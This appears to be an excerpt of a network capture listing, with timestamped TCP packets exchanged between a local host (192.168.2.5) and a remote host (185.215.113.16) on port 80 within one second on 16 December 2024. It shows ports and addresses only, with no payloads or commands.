Dec 16, 2024 15:25:35.057764053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.057852983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.057863951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.057881117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.057908058 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.057940006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.058731079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.058753014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.058759928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.058826923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.058924913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.101541042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.258809090 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.258838892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.258856058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.258919954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.258924961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.258986950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.259242058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.259258986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.259310961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.259347916 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.259823084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.259891033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.259908915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.259984016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.260006905 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.260716915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.260809898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.260827065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.260879040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.260880947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.260902882 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.261850119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.261907101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.261923075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.261945009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.261960030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.262008905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.262645006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.262696981 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.262733936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.262778044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.262803078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.262845039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.263499022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.263580084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.263595104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.263632059 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.263647079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.263659954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.264395952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.264447927 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.264462948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.264478922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.264527082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.264605045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.265357971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.265373945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.265443087 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.265464067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.265480042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.265522957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.266261101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.266315937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.266346931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.266362906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.266388893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.266433954 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.267143011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.267194986 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.267220974 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.267239094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.267379045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.267426968 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.268076897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.268093109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.268127918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.268153906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.268171072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.268202066 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.269061089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.269076109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.269092083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.269109011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.269125938 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.269165039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.269929886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.269983053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.269992113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.270008087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.270076036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.270123005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.270812035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.270862103 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.270874023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.270889044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.270972013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.271015882 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.271728039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.271776915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.271791935 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.271826982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.271840096 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.272083044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.272661924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.272701025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.272711039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.272718906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.272763968 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.272788048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.273746014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.273777008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.273792982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.273808956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.273828983 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.273859978 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.274533987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.274586916 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.274610996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.274627924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.274792910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.274838924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.275460005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.275559902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.275574923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.275616884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.275630951 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.275746107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.276566982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.276627064 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.276659966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.276674986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.276707888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.276722908 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.277340889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.277357101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.277373075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.277389050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.277411938 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.277436018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.278215885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.278273106 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.278317928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.278333902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.278454065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.278497934 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.279062986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.279109001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.279113054 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.279125929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.279206038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.279278040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.279973984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.280040979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.280056953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.280093908 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.280122042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.280160904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.280935049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.280950069 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.280988932 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.281037092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.281052113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.281080961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.281936884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.281954050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.281969070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.281992912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.282013893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.282017946 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.335923910 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.450922012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.450959921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.450978041 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.450995922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.451062918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.451114893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.451297998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.451389074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.451406002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.451438904 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.451898098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.451957941 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.451963902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.451980114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.452069044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.452114105 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.452833891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.452894926 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.452920914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.452938080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.453036070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.453079939 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.453902960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.453955889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.453998089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454015017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454078913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454138041 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.454812050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454828024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454843998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454862118 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.454889059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.454898119 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.455648899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.455666065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.455720901 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.455796957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.455813885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.455841064 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.456512928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.456563950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.456589937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.456608057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.456671953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.456717014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.457444906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.457470894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.457496881 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.457501888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.457518101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.457544088 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.458444118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.458460093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.458476067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.458509922 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.458539963 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.459090948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.459346056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.459362030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.459412098 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.459548950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.459566116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.459590912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.460366964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.460382938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.460398912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.460416079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.460419893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.460439920 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.461116076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.461169004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.461179018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.461185932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.461328030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.461371899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.462018013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.462044954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.462068081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.462074041 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.462111950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.462217093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.462937117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.463000059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.463015079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.463082075 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.463135004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.464162111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.464179039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.464195013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.464229107 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.464255095 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.464318991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.465320110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.465382099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.465399027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.465418100 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.465441942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.465500116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466145992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466213942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466229916 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466267109 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.466289997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.466311932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466769934 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466803074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466821909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.466829062 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.466860056 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.466870070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.467509985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.467538118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.467554092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.467590094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.467617989 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.467678070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.468565941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.468621016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.468626976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.468643904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.468687057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.468713045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.469346046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.469402075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.469419956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.469449043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.469479084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.469495058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.470303059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.470356941 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.470372915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.470388889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.470478058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.470521927 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.471198082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.471249104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.471263885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.471297979 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.471312046 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.471348047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.472074986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.472132921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.472136021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.472152948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.472246885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.472292900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.473057985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.473074913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.473104000 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.473125935 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.473143101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.473172903 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.473951101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.473980904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.473997116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.474013090 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.474025965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.474059105 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.643163919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.643219948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.643240929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.643294096 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.643449068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.643541098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.643560886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:35.643596888 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:35.643651009 CET	80	49742	185.215.113.16	192.168.2.5
